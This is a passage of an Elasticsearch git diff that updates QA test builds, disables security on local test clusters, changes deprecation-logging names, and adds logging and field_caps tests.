'elasticsearch.standalone-test' apply plugin: 'elasticsearch.internal-test-artifact' -apply from : "$rootDir/gradle/bwc-test.gradle" +apply plugin: 'elasticsearch.bwc-test' for (Version bwcVersion : BuildParams.bwcVersions.indexCompatible) { String baseName = "v${bwcVersion}" @@ -26,6 +26,7 @@ for (Version bwcVersion : BuildParams.bwcVersions.indexCompatible) { // some tests rely on the translog not being flushed setting 'indices.memory.shard_inactive_time', '60m' setting 'path.repo', "${buildDir}/cluster/shared/repo/${baseName}" + setting 'xpack.security.enabled', 'false' } } @@ -59,4 +60,4 @@ for (Version bwcVersion : BuildParams.bwcVersions.indexCompatible) { tasks.register(bwcTaskName(bwcVersion)) { dependsOn tasks.named("${baseName}#upgradedClusterTest") } -} \ No newline at end of file +} diff --git a/qa/full-cluster-restart/src/test/java/org/elasticsearch/upgrades/FullClusterRestartIT.java b/qa/full-cluster-restart/src/test/java/org/elasticsearch/upgrades/FullClusterRestartIT.java index 865b076d4e13b..582f3583f88ab 100644 --- a/qa/full-cluster-restart/src/test/java/org/elasticsearch/upgrades/FullClusterRestartIT.java +++ b/qa/full-cluster-restart/src/test/java/org/elasticsearch/upgrades/FullClusterRestartIT.java @@ -24,6 +24,7 @@ import org.elasticsearch.common.xcontent.json.JsonXContent; import org.elasticsearch.common.xcontent.support.XContentMapValues; import org.elasticsearch.index.IndexSettings; +import org.elasticsearch.rest.action.admin.indices.RestPutIndexTemplateAction; import org.elasticsearch.test.NotEqualMessageBuilder; import org.elasticsearch.test.XContentTestUtils; import org.elasticsearch.test.rest.ESRestTestCase; @@ -219,6 +220,7 @@ public void testClusterState() throws Exception { mappingsAndSettings.endObject(); Request createTemplate = new Request("PUT", "/_template/template_1"); createTemplate.setJsonEntity(Strings.toString(mappingsAndSettings)); + createTemplate.setOptions(expectWarnings(RestPutIndexTemplateAction.DEPRECATION_WARNING)); client().performRequest(createTemplate); client().performRequest(new Request("PUT", "/" + index)); } @@ -831,6 +833,7 @@ public void testSnapshotRestore() throws IOException { templateBuilder.endObject().endObject(); Request createTemplateRequest = new Request("PUT", "/_template/test_template"); createTemplateRequest.setJsonEntity(Strings.toString(templateBuilder)); + createTemplateRequest.setOptions(expectWarnings(RestPutIndexTemplateAction.DEPRECATION_WARNING)); client().performRequest(createTemplateRequest); diff --git a/qa/logging-config/build.gradle b/qa/logging-config/build.gradle index 9efa4b8ab8ed9..ef67e3b084f56 100644 --- a/qa/logging-config/build.gradle +++ b/qa/logging-config/build.gradle @@ -6,11 +6,15 @@ * Side Public License, v 1. */ -apply plugin: 'elasticsearch.testclusters' +apply plugin: 'elasticsearch.internal-testclusters' apply plugin: 'elasticsearch.standalone-rest-test' apply plugin: 'elasticsearch.rest-test' apply plugin: 'elasticsearch.standalone-test' +testClusters.all { + setting 'xpack.security.enabled', 'false' +} + testClusters.matching { it.name == "integTest" }.configureEach { /** * Provide a custom log4j configuration where layout is an old style pattern and confirm that Elasticsearch diff --git a/qa/logging-config/src/test/java/org/elasticsearch/common/logging/JsonLoggerTests.java b/qa/logging-config/src/test/java/org/elasticsearch/common/logging/JsonLoggerTests.java index fc3e67226a8f6..f96d3a217a83e 100644 --- a/qa/logging-config/src/test/java/org/elasticsearch/common/logging/JsonLoggerTests.java +++ b/qa/logging-config/src/test/java/org/elasticsearch/common/logging/JsonLoggerTests.java @@ -15,9 +15,12 @@ import org.apache.logging.log4j.core.config.Configurator; import org.elasticsearch.cli.UserException; import org.elasticsearch.common.CheckedConsumer; +import org.elasticsearch.common.ParseField; +import org.elasticsearch.common.RestApiVersion; import org.elasticsearch.common.io.PathUtils; import org.elasticsearch.common.settings.Settings; import org.elasticsearch.common.util.concurrent.ThreadContext; +import org.elasticsearch.common.xcontent.LoggingDeprecationHandler; import org.elasticsearch.env.Environment; import org.elasticsearch.index.shard.ShardId; import org.elasticsearch.tasks.Task; @@ -76,7 +79,7 @@ public void tearDown() throws Exception { } public void testDeprecatedMessageWithoutXOpaqueId() throws IOException { - final DeprecationLogger testLogger = DeprecationLogger.getLogger("test"); + final DeprecationLogger testLogger = DeprecationLogger.getLogger("org.elasticsearch.test"); testLogger.deprecate(DeprecationCategory.OTHER, "a key", "deprecated message1"); @@ -89,14 +92,15 @@ public void testDeprecatedMessageWithoutXOpaqueId() throws IOException { assertThat(jsonLogs, contains( allOf( - hasEntry("event.dataset", "elasticsearch.deprecation"), + hasEntry("event.dataset", "deprecation.elasticsearch"), hasEntry("log.level", "DEPRECATION"), - hasEntry("log.logger", "deprecation.test"), + hasEntry("log.logger", "org.elasticsearch.deprecation.test"), hasEntry("elasticsearch.cluster.name", "elasticsearch"), hasEntry("elasticsearch.node.name", "sample-name"), hasEntry("message", "deprecated message1"), hasEntry("data_stream.type", "logs"), - hasEntry("data_stream.dataset", "elasticsearch.deprecation"), + hasEntry("data_stream.dataset", "deprecation.elasticsearch"), + hasEntry("data_stream.namespace", "default"), hasEntry("ecs.version", DeprecatedMessage.ECS_VERSION), hasEntry(DeprecatedMessage.KEY_FIELD_NAME, "a key"), not(hasKey(DeprecatedMessage.X_OPAQUE_ID_FIELD_NAME)), @@ -111,7 +115,7 @@ public void testDeprecatedMessageWithoutXOpaqueId() throws IOException { public void testCompatibleLog() throws Exception { withThreadContext(threadContext -> { threadContext.putHeader(Task.X_OPAQUE_ID, "someId"); - final DeprecationLogger testLogger = DeprecationLogger.getLogger("test"); + final DeprecationLogger testLogger = DeprecationLogger.getLogger("org.elasticsearch.test"); testLogger.deprecate(DeprecationCategory.OTHER,"someKey", "deprecated message1") .compatibleApiWarning("compatibleKey","compatible API message"); @@ -128,10 +132,11 @@ public void testCompatibleLog() throws Exception { contains( allOf( hasEntry("log.level", "DEPRECATION"), - hasEntry("event.dataset", "elasticsearch.deprecation"), - hasEntry("data_stream.dataset", "elasticsearch.deprecation"), + hasEntry("event.dataset", "deprecation.elasticsearch"), + hasEntry("data_stream.dataset", "deprecation.elasticsearch"), + hasEntry("data_stream.namespace", "default"), hasEntry("data_stream.type", "logs"), - hasEntry("log.logger", "deprecation.test"), + hasEntry("log.logger", "org.elasticsearch.deprecation.test"), hasEntry("ecs.version", DeprecatedMessage.ECS_VERSION), hasEntry("elasticsearch.cluster.name", "elasticsearch"), hasEntry("elasticsearch.node.name", "sample-name"), @@ -143,10 +148,11 @@ public void testCompatibleLog() throws Exception { allOf( hasEntry("log.level", "DEPRECATION"), // event.dataset and data_stream.dataset have to be the same across the data stream - hasEntry("event.dataset", "elasticsearch.deprecation"), - hasEntry("data_stream.dataset", "elasticsearch.deprecation"), + hasEntry("event.dataset", "deprecation.elasticsearch"), + hasEntry("data_stream.dataset", "deprecation.elasticsearch"), + hasEntry("data_stream.namespace", "default"), hasEntry("data_stream.type", "logs"), - hasEntry("log.logger", "deprecation.test"), + hasEntry("log.logger", "org.elasticsearch.deprecation.test"), hasEntry("ecs.version", DeprecatedMessage.ECS_VERSION), hasEntry("elasticsearch.cluster.name", "elasticsearch"), hasEntry("elasticsearch.node.name", "sample-name"), @@ -163,10 +169,93 @@ public void testCompatibleLog() throws Exception { }); } + public void testParseFieldEmittingDeprecatedLogs() throws Exception { + withThreadContext(threadContext -> { + threadContext.putHeader(Task.X_OPAQUE_ID, "someId"); + + ParseField deprecatedField = new ParseField("new_name", "deprecated_name"); + assertTrue(deprecatedField.match("deprecated_name", LoggingDeprecationHandler.INSTANCE)); + + ParseField deprecatedField2 = new ParseField("new_name", "deprecated_name2"); + assertTrue(deprecatedField2.match("deprecated_name2", LoggingDeprecationHandler.INSTANCE)); + + ParseField compatibleField = new ParseField("new_name", "compatible_deprecated_name") + .forRestApiVersion(RestApiVersion.equalTo(RestApiVersion.minimumSupported())); + assertTrue(compatibleField.match("compatible_deprecated_name", LoggingDeprecationHandler.INSTANCE)); + + final Path path = PathUtils.get( + System.getProperty("es.logs.base_path"), + System.getProperty("es.logs.cluster_name") + "_deprecated.json" + ); + + try (Stream> stream = JsonLogsStream.mapStreamFrom(path)) { + List> jsonLogs = stream.collect(Collectors.toList()); + + assertThat( + jsonLogs, + contains( + // deprecation log for field deprecated_name + allOf( + hasEntry("log.level", "DEPRECATION"), + hasEntry("event.dataset", "deprecation.elasticsearch"), + hasEntry("data_stream.dataset", "deprecation.elasticsearch"), + hasEntry("data_stream.namespace", "default"), + hasEntry("data_stream.type", "logs"), + hasEntry("log.logger", "org.elasticsearch.deprecation.common.ParseField"), + hasEntry("ecs.version", DeprecatedMessage.ECS_VERSION), + hasEntry("elasticsearch.cluster.name", "elasticsearch"), + hasEntry("elasticsearch.node.name", "sample-name"), + hasEntry("message", "Deprecated field [deprecated_name] used, expected [new_name] instead"), + hasEntry(DeprecatedMessage.KEY_FIELD_NAME, "deprecated_field_deprecated_name"), + hasEntry(DeprecatedMessage.X_OPAQUE_ID_FIELD_NAME, "someId"), + hasEntry("elasticsearch.event.category", "api") + ), + // deprecation log for field deprecated_name2 (note it is not being throttled) + allOf( + hasEntry("log.level", "DEPRECATION"), + hasEntry("event.dataset", "deprecation.elasticsearch"), + hasEntry("data_stream.dataset", "deprecation.elasticsearch"), + hasEntry("data_stream.namespace", "default"), + hasEntry("data_stream.type", "logs"), + hasEntry("log.logger", "org.elasticsearch.deprecation.common.ParseField"), + hasEntry("ecs.version", DeprecatedMessage.ECS_VERSION), + hasEntry("elasticsearch.cluster.name", "elasticsearch"), + hasEntry("elasticsearch.node.name", "sample-name"), + hasEntry("message", "Deprecated field [deprecated_name2] used, expected [new_name] instead"), + hasEntry(DeprecatedMessage.KEY_FIELD_NAME, "deprecated_field_deprecated_name2"), + hasEntry(DeprecatedMessage.X_OPAQUE_ID_FIELD_NAME, "someId"), + hasEntry("elasticsearch.event.category", "api") + ), + // compatible log line + allOf( + hasEntry("log.level", "DEPRECATION"), + hasEntry("event.dataset", "deprecation.elasticsearch"), + hasEntry("data_stream.dataset", "deprecation.elasticsearch"), + hasEntry("data_stream.namespace", "default"), + hasEntry("data_stream.type", "logs"), + hasEntry("log.logger", "org.elasticsearch.deprecation.common.ParseField"), + hasEntry("ecs.version", DeprecatedMessage.ECS_VERSION), + hasEntry("elasticsearch.cluster.name", "elasticsearch"), + hasEntry("elasticsearch.node.name", "sample-name"), + hasEntry("message", "Deprecated field [compatible_deprecated_name] used, expected [new_name] instead"), + hasEntry(DeprecatedMessage.KEY_FIELD_NAME, "deprecated_field_compatible_deprecated_name"), + hasEntry(DeprecatedMessage.X_OPAQUE_ID_FIELD_NAME, "someId"), + hasEntry("elasticsearch.event.category", "compatible_api") + ) + ) + ); + } + + assertWarnings("Deprecated field [deprecated_name] used, expected [new_name] instead", + "Deprecated field [deprecated_name2] used, expected [new_name] instead", + "Deprecated field [compatible_deprecated_name] used, expected [new_name] instead"); + }); + } + public void testDeprecatedMessage() throws Exception { withThreadContext(threadContext -> { threadContext.putHeader(Task.X_OPAQUE_ID, "someId"); - final DeprecationLogger testLogger = DeprecationLogger.getLogger("test"); + final DeprecationLogger testLogger = DeprecationLogger.getLogger("org.elasticsearch.test"); testLogger.deprecate(DeprecationCategory.OTHER, "someKey", "deprecated message1"); final Path path = PathUtils.get( @@ -181,14 +270,15 @@ public void testDeprecatedMessage() throws Exception { jsonLogs, contains( allOf( - hasEntry("event.dataset", "elasticsearch.deprecation"), + hasEntry("event.dataset", "deprecation.elasticsearch"), hasEntry("log.level", "DEPRECATION"), - hasEntry("log.logger", "deprecation.test"), + hasEntry("log.logger", "org.elasticsearch.deprecation.test"), hasEntry("elasticsearch.cluster.name", "elasticsearch"), hasEntry("elasticsearch.node.name", "sample-name"), hasEntry("message", "deprecated message1"), hasEntry("data_stream.type", "logs"), - hasEntry("data_stream.dataset", "elasticsearch.deprecation"), + hasEntry("data_stream.dataset", "deprecation.elasticsearch"), + hasEntry("data_stream.namespace", "default"), hasEntry("ecs.version", DeprecatedMessage.ECS_VERSION), hasEntry(DeprecatedMessage.KEY_FIELD_NAME, "someKey"), hasEntry(DeprecatedMessage.X_OPAQUE_ID_FIELD_NAME, "someId"), @@ -340,7 +430,6 @@ public void testStacktrace() throws IOException { } } - public void testJsonInStacktraceMessageIsNotSplitted() throws IOException { final Logger testLogger = LogManager.getLogger("test"); @@ -372,9 +461,8 @@ public void testJsonInStacktraceMessageIsNotSplitted() throws IOException { } } - public void testDuplicateLogMessages() throws Exception { - final DeprecationLogger deprecationLogger = DeprecationLogger.getLogger("test"); + final DeprecationLogger deprecationLogger = DeprecationLogger.getLogger("org.elasticsearch.test"); // For the same key and X-Opaque-ID deprecation should be once withThreadContext(threadContext -> { @@ -391,9 +479,9 @@ public void testDuplicateLogMessages() throws Exception { assertThat(jsonLogs, contains( allOf( - hasEntry("event.dataset", "elasticsearch.deprecation"), + hasEntry("event.dataset", "deprecation.elasticsearch"), hasEntry("log.level", "DEPRECATION"), - hasEntry("log.logger", "deprecation.test"), + hasEntry("log.logger", "org.elasticsearch.deprecation.test"), hasEntry("elasticsearch.cluster.name", "elasticsearch"), hasEntry("elasticsearch.node.name", "sample-name"), hasEntry("message", "message1"), @@ -423,9 +511,9 @@ public void testDuplicateLogMessages() throws Exception { jsonLogs, contains( allOf( - hasEntry("event.dataset", "elasticsearch.deprecation"), + hasEntry("event.dataset", "deprecation.elasticsearch"), hasEntry("log.level", "DEPRECATION"), - hasEntry("log.logger", "deprecation.test"), + hasEntry("log.logger", "org.elasticsearch.deprecation.test"), hasEntry("elasticsearch.cluster.name", "elasticsearch"), hasEntry("elasticsearch.node.name", "sample-name"), hasEntry("message", "message1"), @@ -433,9 +521,9 @@ public void testDuplicateLogMessages() throws Exception { hasEntry("elasticsearch.event.category", "other") ), allOf( - hasEntry("event.dataset", "elasticsearch.deprecation"), + hasEntry("event.dataset", "deprecation.elasticsearch"), hasEntry("log.level", "DEPRECATION"), - hasEntry("log.logger", "deprecation.test"), + hasEntry("log.logger", "org.elasticsearch.deprecation.test"), hasEntry("elasticsearch.cluster.name", "elasticsearch"), hasEntry("elasticsearch.node.name", "sample-name"), hasEntry("message", "message1"), @@ -473,7 +561,6 @@ private void setupLogging(final String config, final Settings settings) throws I LogConfigurator.configure(environment); } - private Matcher logLine(String type, Level level, String nodeName, String component, String message) { return logLine(mapOfParamsToCheck(type, level, nodeName, component, message)); } diff --git a/qa/logging-config/src/test/resources/org/elasticsearch/common/logging/json_layout/log4j2.properties b/qa/logging-config/src/test/resources/org/elasticsearch/common/logging/json_layout/log4j2.properties index 43ba594236ec8..67ecb59a3d602 100644 --- a/qa/logging-config/src/test/resources/org/elasticsearch/common/logging/json_layout/log4j2.properties +++ b/qa/logging-config/src/test/resources/org/elasticsearch/common/logging/json_layout/log4j2.properties @@ -13,14 +13,16 @@ appender.file.layout.dataset = elasticsearch.file appender.deprecated.type = File appender.deprecated.name = deprecated appender.deprecated.fileName = ${sys:es.logs.base_path}${sys:file.separator}${sys:es.logs.cluster_name}_deprecated.json +# Intentionally follows a different pattern to above appender.deprecated.layout.type = ECSJsonLayout -appender.deprecated.layout.dataset = elasticsearch.deprecation +appender.deprecated.layout.dataset = deprecation.elasticsearch appender.deprecated.filter.rate_limit.type = RateLimitingFilter appender.deprecatedconsole.type = Console appender.deprecatedconsole.name = deprecatedconsole appender.deprecatedconsole.layout.type = ECSJsonLayout -appender.deprecatedconsole.layout.dataset = elasticsearch.deprecation +# Intentionally follows a different pattern to above +appender.deprecatedconsole.layout.dataset = deprecation.elasticsearch appender.deprecatedconsole.filter.rate_limit.type = RateLimitingFilter @@ -37,7 +39,7 @@ appender.plaintext.filter.rate_limit.type = RateLimitingFilter appender.header_warning.type = HeaderWarningAppender appender.header_warning.name = header_warning -logger.deprecation.name = deprecation.test +logger.deprecation.name = org.elasticsearch.deprecation logger.deprecation.level = deprecation logger.deprecation.appenderRef.deprecation_rolling.ref = deprecated logger.deprecation.appenderRef.deprecatedconsole.ref = deprecatedconsole diff --git a/qa/mixed-cluster/build.gradle b/qa/mixed-cluster/build.gradle index 4995db6bbeb8a..7a1191603fc24 100644 --- a/qa/mixed-cluster/build.gradle +++ b/qa/mixed-cluster/build.gradle @@ -8,12 +8,12 @@ import org.elasticsearch.gradle.Version import org.elasticsearch.gradle.VersionProperties -import org.elasticsearch.gradle.info.BuildParams +import org.elasticsearch.gradle.internal.info.BuildParams import org.elasticsearch.gradle.testclusters.StandaloneRestIntegTestTask -apply plugin: 'elasticsearch.testclusters' +apply plugin: 'elasticsearch.internal-testclusters' apply plugin: 'elasticsearch.standalone-test' -apply from : "$rootDir/gradle/bwc-test.gradle" +apply plugin: 'elasticsearch.bwc-test' apply plugin: 'elasticsearch.rest-resources' restResources { @@ -38,6 +38,7 @@ for (Version bwcVersion : BuildParams.bwcVersions.wireCompatible) { numberOfNodes = 4 setting 'path.repo', "${buildDir}/cluster/shared/repo/${baseName}" + setting 'xpack.security.enabled', 'false' } } diff --git a/qa/multi-cluster-search/build.gradle b/qa/multi-cluster-search/build.gradle index dcc8a89071ad0..009e83daffeab 100644 --- a/qa/multi-cluster-search/build.gradle +++ b/qa/multi-cluster-search/build.gradle @@ -6,9 +6,9 @@ * Side Public License, v 1. */ -import org.elasticsearch.gradle.test.RestIntegTestTask +import org.elasticsearch.gradle.internal.test.RestIntegTestTask -apply plugin: 'elasticsearch.testclusters' +apply plugin: 'elasticsearch.internal-testclusters' apply plugin: 'elasticsearch.standalone-test' apply plugin: 'elasticsearch.rest-resources' @@ -25,6 +25,7 @@ testClusters { 'remote-cluster' { numberOfNodes = 2 setting 'node.roles', '[data,ingest,master]' + setting 'xpack.security.enabled', 'false' } } @@ -38,6 +39,7 @@ testClusters.matching { it.name == "mixedClusterTest"}.configureEach { setting 'cluster.remote.my_remote_cluster.seeds', { "\"${testClusters.'remote-cluster'.getAllTransportPortURI().get(0)}\"" } setting 'cluster.remote.connections_per_cluster', '1' + setting 'xpack.security.enabled', 'false' } tasks.register("integTest") { diff --git a/qa/multi-cluster-search/src/test/java/org/elasticsearch/search/CCSDuelIT.java b/qa/multi-cluster-search/src/test/java/org/elasticsearch/search/CCSDuelIT.java index 5b1dbb0c86ce2..b4aafc797e5e8 100644 --- a/qa/multi-cluster-search/src/test/java/org/elasticsearch/search/CCSDuelIT.java +++ b/qa/multi-cluster-search/src/test/java/org/elasticsearch/search/CCSDuelIT.java @@ -193,7 +193,7 @@ public void afterBulk(long executionId, BulkRequest request, BulkResponse respon public void afterBulk(long executionId, BulkRequest request, Throwable failure) { throw new AssertionError("Failed to execute bulk", failure); } - }).build(); + }, "CCSDuelIT").build(); int numQuestions = randomIntBetween(50, 100); for (int i = 0; i < numQuestions; i++) { diff --git a/qa/multi-cluster-search/src/test/resources/rest-api-spec/test/multi_cluster/30_field_caps.yml b/qa/multi-cluster-search/src/test/resources/rest-api-spec/test/multi_cluster/30_field_caps.yml index 5d7182cf9be9a..1afc26e386035 100644 --- a/qa/multi-cluster-search/src/test/resources/rest-api-spec/test/multi_cluster/30_field_caps.yml +++ b/qa/multi-cluster-search/src/test/resources/rest-api-spec/test/multi_cluster/30_field_caps.yml @@ -61,10 +61,13 @@ - is_false: fields.geo.keyword.on_aggregatable_indices - do: + catch: missing field_caps: index: 'my_remote_cluster:some_index_that_doesnt_exist' fields: [number] - - match: { 'fields': {} } # empty response - this index doesn't exists + + - match: { error.type: "index_not_found_exception" } + - match: { error.reason: "no such index [some_index_that_doesnt_exist]" } - do: field_caps: @@ -73,6 +76,36 @@ - match: {fields.number.double.searchable: true} - match: {fields.number.double.aggregatable: true} + # make sure runtime_mappings section gets propagated + - do: + field_caps: + index: 'my_remote_cluster:field_caps_index_1' + fields: [number] + body: + runtime_mappings: + number: + type: keyword + - match: {fields.number.keyword.searchable: true} + - match: {fields.number.keyword.aggregatable: true} + - match: {fields.number.keyword.type: keyword} + + - do: + catch: bad_request + field_caps: + index: 'my_remote_cluster:field_caps_index_1' + fields: [number] + body: + runtime_mappings: + day_of_week: + type: keyword + script: + source: "bad syntax" + + - match: { error.type: "script_exception" } + - match: { error.reason: "compile error" } + - match: { error.script : "bad syntax" } + - match: { error.lang : "painless" } + --- "Get field caps from remote cluster with index filter": - skip: diff --git a/qa/os/README.md b/qa/os/README.md index 801c3e52673a3..20b4f6efa3a98 100644 --- a/qa/os/README.md +++ b/qa/os/README.md @@ -23,14 +23,14 @@ See the section in [TESTING.asciidoc](../../TESTING.asciidoc#testing-packaging) When gradle runs the packaging tests on a VM, it runs the full suite by default. To add a test class to the suite, add its `class` to the -`@SuiteClasses` annotation in [PackagingTests.java](src/main/java/org/elasticsearch/packaging/PackagingTests.java). +`@SuiteClasses` annotation in [PackagingTestCase.java](src/test/java/org/elasticsearch/packaging/test/PackagingTestCase.java). If a test class is added to the project but not to this annotation, it will not run in CI jobs. The test classes are run in the order they are listed in the annotation. ## Choosing which distributions to test -Distributions are represented by [enum values](src/main/java/org/elasticsearch/packaging/util/Distribution.java) +Distributions are represented by [enum values](src/test/java/org/elasticsearch/packaging/util/Distribution.java) which know if they are compatible with the platform the tests are currently running on. To skip a test if the distribution it's using isn't compatible with the current platform, put this [assumption](https://github.com/junit-team/junit4/wiki/assumptions-with-assume) @@ -41,7 +41,7 @@ assumeTrue(distribution.packaging.compatible); ``` Similarly if you write a test that is intended only for particular platforms, -you can make an assumption using the constants and methods in [Platforms.java](src/main/java/org/elasticsearch/packaging/util/Platforms.java) +you can make an assumption using the constants and methods in [Platforms.java](src/test/java/org/elasticsearch/packaging/util/Platforms.java) ```java assumeTrue("only run on windows", Platforms.WINDOWS); @@ -73,14 +73,14 @@ public class MyTestDefaultTar extends MyTestCase { ``` That way when a test fails the user gets told explicitly that `MyTestDefaultTar` -failed, and to reproduce it they should run that class. See [ArchiveTestCase](src/main/java/org/elasticsearch/packaging/test/ArchiveTestCase.java) +failed, and to reproduce it they should run that class. See [ArchiveTestCase](src/test/java/org/elasticsearch/packaging/test/ArchiveTests.java) and its children for an example of this. ## Running external commands In general it's probably best to avoid running external commands when a good Java alternative exists. For example most filesystem operations can be done with -the java.nio.file APIs. For those that aren't, use an instance of [Shell](src/main/java/org/elasticsearch/packaging/util/Shell.java) +the java.nio.file APIs. For those that aren't, use an instance of [Shell](src/test/java/org/elasticsearch/packaging/util/Shell.java) This class runs scripts in either bash with the `bash -c